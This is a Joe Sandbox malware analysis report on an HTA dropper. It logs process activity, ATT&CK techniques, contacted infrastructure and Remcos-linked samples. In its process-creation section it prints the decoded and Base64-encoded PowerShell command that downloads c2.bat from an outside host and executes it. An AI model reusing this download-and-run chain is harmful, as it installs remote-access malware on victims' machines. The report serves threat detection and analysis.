Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6231			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1751			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3632	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6936	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2504	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000002.00000002.1697987815.0000000007330000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: Base64 decoded [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;https://candwfarmsllc.com/c2.bat='https://candwfarmsllc.com/c2.bat';C:\Users\asaol\AppData\Local\Temp\c2.bat=C:\Users\asaol\AppData\Local\Temp + '\c2.bat';Invoke-WebRequest -Uri https://candwfarmsllc.com/c2.bat -OutFile C:\Users\asaol\AppData\Local\Temp\c2.bat;Start-Process -FilePath C:\Users\asaol\AppData\Local\Temp\c2.bat -NoNewWindow
Source: C:\Windows\SysWOW64\mshta.exe	Process created: Base64 decoded [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;https://candwfarmsllc.com/c2.bat='https://candwfarmsllc.com/c2.bat';C:\Users\asaol\AppData\Local\Temp\c2.bat=C:\Users\asaol\AppData\Local\Temp + '\c2.bat';Invoke-WebRequest -Uri https://candwfarmsllc.com/c2.bat -OutFile C:\Users\asaol\AppData\Local\Temp\c2.bat;Start-Process -FilePath C:\Users\asaol\AppData\Local\Temp\c2.bat -NoNewWindow			Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCommand WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AA0ACgBoAHQAdABwAHMAOgAvAC8AYwBhAG4AZAB3AGYAYQByAG0AcwBsAGwAYwAuAGMAbwBtAC8AYwAyAC4AYgBhAHQAPQAnAGgAdAB0AHAAcwA6AC8ALwBjAGEAbgBkAHcAZgBhAHIAbQBzAGwAbABjAC4AYwBvAG0ALwBjADIALgBiAGEAdAAnADsADQAKAEMAOgBcAFUAcwBlAHIAcwBcAGEAcwBhAG8AbABcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYwAyAC4AYgBhAHQAPQBDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcAAgACsAIAAnAFwAYwAyAC4AYgBhAHQAJwA7AA0ACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAaAB0AHQAcABzADoALwAvAGMAYQBuAGQAdwBmAGEAcgBtAHMAbABsAGMALgBjAG8AbQAvAGMAMgAuAGIAYQB0ACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVQBzAGUAcgBzAFwAYQBzAGEAbwBsAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABjADIALgBiAGEAdAA7AA0ACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABhAHMAYQBvAGwAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGMAMgAuAGIAYQB0ACAALQBOAG8ATgBlAHcAVwBpAG4AZABvAHcA

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -encodedcommand wwboaguadaauafmazqbyahyaaqbjaguauabvagkabgb0ae0ayqbuageazwblahiaxqa6adoauwblagmadqbyagkadab5afaacgbvahqabwbjag8abaagad0aiabbae4azqb0ac4auwblagmadqbyagkadab5afaacgbvahqabwbjag8ababuahkacablaf0aoga6afqababzadeamga7aa0acgboahqadabwahmaogavac8aywbhag4azab3agyayqbyag0acwbsagwaywauagmabwbtac8aywayac4aygbhahqapqanaggadab0ahaacwa6ac8alwbjageabgbkahcazgbhahiabqbzagwababjac4aywbvag0alwbjadialgbiageadaanadsadqakaemaogbcafuacwblahiacwbcageacwbhag8ababcaeeacabwaeqayqb0ageaxabmag8aywbhagwaxabuaguabqbwafwaywayac4aygbhahqapqbdadoaxabvahmazqbyahmaxabhahmayqbvagwaxabbahaacabeageadabhafwatabvagmayqbsafwavablag0acaagacsaiaanafwaywayac4aygbhahqajwa7aa0acgbjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaaaab0ahqacabzadoalwavagmayqbuagqadwbmageacgbtahmababsagmalgbjag8abqavagmamgauagiayqb0acaalqbpahuadabgagkabablacaaqwa6afwavqbzaguacgbzafwayqbzageabwbsafwaqqbwahaarabhahqayqbcaewabwbjageababcafqazqbtahaaxabjadialgbiageadaa7aa0acgbtahqayqbyahqalqbqahiabwbjaguacwbzacaalqbgagkabablafaayqb0aggaiabdadoaxabvahmazqbyahmaxabhahmayqbvagwaxabbahaacabeageadabhafwatabvagmayqbsafwavablag0acabcagmamgauagiayqb0acaalqboag8atgblahcavwbpag4azabvahca
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -encodedcommand wwboaguadaauafmazqbyahyaaqbjaguauabvagkabgb0ae0ayqbuageazwblahiaxqa6adoauwblagmadqbyagkadab5afaacgbvahqabwbjag8abaagad0aiabbae4azqb0ac4auwblagmadqbyagkadab5afaacgbvahqabwbjag8ababuahkacablaf0aoga6afqababzadeamga7aa0acgboahqadabwahmaogavac8aywbhag4azab3agyayqbyag0acwbsagwaywauagmabwbtac8aywayac4aygbhahqapqanaggadab0ahaacwa6ac8alwbjageabgbkahcazgbhahiabqbzagwababjac4aywbvag0alwbjadialgbiageadaanadsadqakaemaogbcafuacwblahiacwbcageacwbhag8ababcaeeacabwaeqayqb0ageaxabmag8aywbhagwaxabuaguabqbwafwaywayac4aygbhahqapqbdadoaxabvahmazqbyahmaxabhahmayqbvagwaxabbahaacabeageadabhafwatabvagmayqbsafwavablag0acaagacsaiaanafwaywayac4aygbhahqajwa7aa0acgbjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaaaab0ahqacabzadoalwavagmayqbuagqadwbmageacgbtahmababsagmalgbjag8abqavagmamgauagiayqb0acaalqbpahuadabgagkabablacaaqwa6afwavqbzaguacgbzafwayqbzageabwbsafwaqqbwahaarabhahqayqbcaewabwbjageababcafqazqbtahaaxabjadialgbiageadaa7aa0acgbtahqayqbyahqalqbqahiabwbjaguacwbzacaalqbgagkabablafaayqb0aggaiabdadoaxabvahmazqbyahmaxabhahmayqbvagwaxabbahaacabeageadabhafwatabvagmayqbsafwavablag0acabcagmamgauagiayqb0acaalqboag8atgblahcavwbpag4azabvahca			Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	21 Virtualization/Sandbox Evasion	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Email Collection	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Process Injection	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
http://candwfarmsllc.com	0%	Avira URL Cloud	safe
https://candwfarmsllc.com/c2.bat=https://candwfarmsllc.com/c2.bat	0%	Avira URL Cloud	safe
https://candwfarmsllc.com	0%	Avira URL Cloud	safe
https://wdcp.microsoft.w	0%	Avira URL Cloud	safe
https://myguyapp.com/W2.pdf	100%	Avira URL Cloud	phishing
https://candwfarmsllc.com/c2.bat=	0%	Avira URL Cloud	safe
https://candwfarmsllc.com/c2.bat	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
candwfarmsllc.com	193.26.115.39	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://candwfarmsllc.com/c2.bat	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://candwfarmsllc.com	powershell.exe, 00000002.00000002.1692750838.0000000004D65000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://candwfarmsllc.com/c2.bat=	powershell.exe, 00000002.00000002.1692750838.0000000004AE1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myguyapp.com/msword.zip	powershell.exe, 00000002.00000002.1692750838.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1692750838.0000000004DBF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.1695910492.0000000005B48000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.1692750838.0000000004C36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000002.00000002.1692750838.0000000004AE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myguyapp.com/W2.pdf	powershell.exe, 00000002.00000002.1692750838.0000000004DE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1692750838.0000000004DBF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.1692750838.0000000004C36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000002.00000002.1692750838.00000000050D9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://candwfarmsllc.com	powershell.exe, 00000002.00000002.1692750838.0000000004DBF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000002.00000002.1695910492.0000000005B48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.1695910492.0000000005B48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000002.00000002.1695910492.0000000005B48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000002.00000002.1695910492.0000000005B48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://wdcp.microsoft.w	mshta.exe, 00000000.00000003.1700820649.0000000002B4F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1700851809.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1708862080.0000000002B59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.1692750838.0000000004AE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.1692750838.0000000004C36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://candwfarmsllc.com/c2.bat=https://candwfarmsllc.com/c2.bat	powershell.exe, 00000002.00000002.1692750838.0000000004C36000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.26.115.39	candwfarmsllc.com	Netherlands		46261	QUICKPACKETUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589374
Start date and time:	2025-01-12 03:43:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	c1.hta
Detection:	MAL
Classification:	mal64.evad.winHTA@4/3@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 5 Number of non-executed functions: 6
Cookbook Comments:	Found application associated with file extension: .hta

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.242.162, 20.12.23.50, 13.107.246.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:43:57	API Interceptor	1x Sleep call for process: mshta.exe modified
21:43:58	API Interceptor	12x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
193.26.115.39	c2.hta	Get hash	malicious	Remcos	Browse
	c2.hta	Get hash	malicious	Remcos	Browse
	c2.hta	Get hash	malicious	Remcos	Browse
	c2.hta	Get hash	malicious	Remcos	Browse
	RailProvides_nopump.exe	Get hash	malicious	Remcos	Browse
	c2.hta	Get hash	malicious	Remcos	Browse
	9W9jJCj9EV.bat	Get hash	malicious	Remcos	Browse
	c2.hta	Get hash	malicious	Remcos	Browse
	c2.hta	Get hash	malicious	Remcos	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
candwfarmsllc.com	c2.hta	Get hash	malicious	Remcos	Browse	193.26.115.39
	c2.hta	Get hash	malicious	Remcos	Browse	193.26.115.39
	c2.hta	Get hash	malicious	Remcos	Browse	193.26.115.39

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
QUICKPACKETUS	c2.hta	Get hash	malicious	Remcos	Browse	193.26.115.39
	c2.hta	Get hash	malicious	Remcos	Browse	193.26.115.39
	RFQ-20241230.pif.exe	Get hash	malicious	Remcos	Browse	173.211.106.233
	Suppliers_Data.pif.exe	Get hash	malicious	Remcos	Browse	173.211.106.233
	c2.hta	Get hash	malicious	Remcos	Browse	193.26.115.39
	c2.hta	Get hash	malicious	Remcos	Browse	193.26.115.39
	RailProvides_nopump.exe	Get hash	malicious	Remcos	Browse	193.26.115.39
	c2.hta	Get hash	malicious	Remcos	Browse	193.26.115.39
	https://z97f4f2525fyg27.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	172.82.129.154
	9W9jJCj9EV.bat	Get hash	malicious	Remcos	Browse	193.26.115.39

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	http://www.grhga.icu/	Get hash	malicious	Unknown	Browse	193.26.115.39
	http://keystonerelated.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	193.26.115.39
	https://telegrams-mc.org/	Get hash	malicious	Unknown	Browse	193.26.115.39
	http://metamaeskloegin.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	193.26.115.39
	http://www.www-support-com.info/fmicode/code.php	Get hash	malicious	Unknown	Browse	193.26.115.39
	http://m.escritoresunidos.com/	Get hash	malicious	Unknown	Browse	193.26.115.39
	https://terrific-metal-countess.glitch.me/	Get hash	malicious	HTMLPhisher	Browse	193.26.115.39
	https://telegrams-mh.org/	Get hash	malicious	Unknown	Browse	193.26.115.39
	http://www.fmilocation.help/fmicode/code.php	Get hash	malicious	Unknown	Browse	193.26.115.39
	https://pub-ce1f93897bdf44e9b1cd99ad0325c570.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	193.26.115.39

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1336
Entropy (8bit):	5.415351548465897
Encrypted:	false
SSDEEP:	24:3xSWSKco4KmZjKbmOIKod6lss4RPQoUP7mZ9t7J0gt/NK3R8er8Hw/1TAn:oWSU4xympgv4RIoUP7mZ9tK8NWR8ej/O
MD5:	FE29EE1C57797C704DB2CF01D232D6E3
SHA1:	C05A3AC0E256D9FC6BF2EA1333CCACEE3C6A78AC
SHA-256:	57EB9436C06586DA72F4A3957C154730E2FDE6F812614F4B52507834FB7B6905
SHA-512:	D040AEB9817C50BAB013B9BC45E15F790A0B67BD911A441B842260CC81EBB3BDCA5733D184BF5D652B0D5B26921771D04D455F25BF81280FA656189FC3985A0F
Malicious:	false
Reputation:	low
Preview:	@...e................................................@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lnl1fx4e.b2x.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sga5kkgf.5fu.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	HTML document, ASCII text, with CRLF line terminators
Entropy (8bit):	4.134913097748058
TrID:	HyperText Markup Language (12001/1) 40.67% HyperText Markup Language (11501/1) 38.98% HyperText Markup Language (6006/1) 20.35%
File name:	c1.hta
File size:	3'435 bytes
MD5:	ecfb39d00afa505fb6af958241ff5e35
SHA1:	7425bc879cf05b14248e6cd60186a39423c35a7e
SHA256:	a70bc984039d77fc9e208f2daf97d2578032388ceee67fccf1da27d81d8ecfba
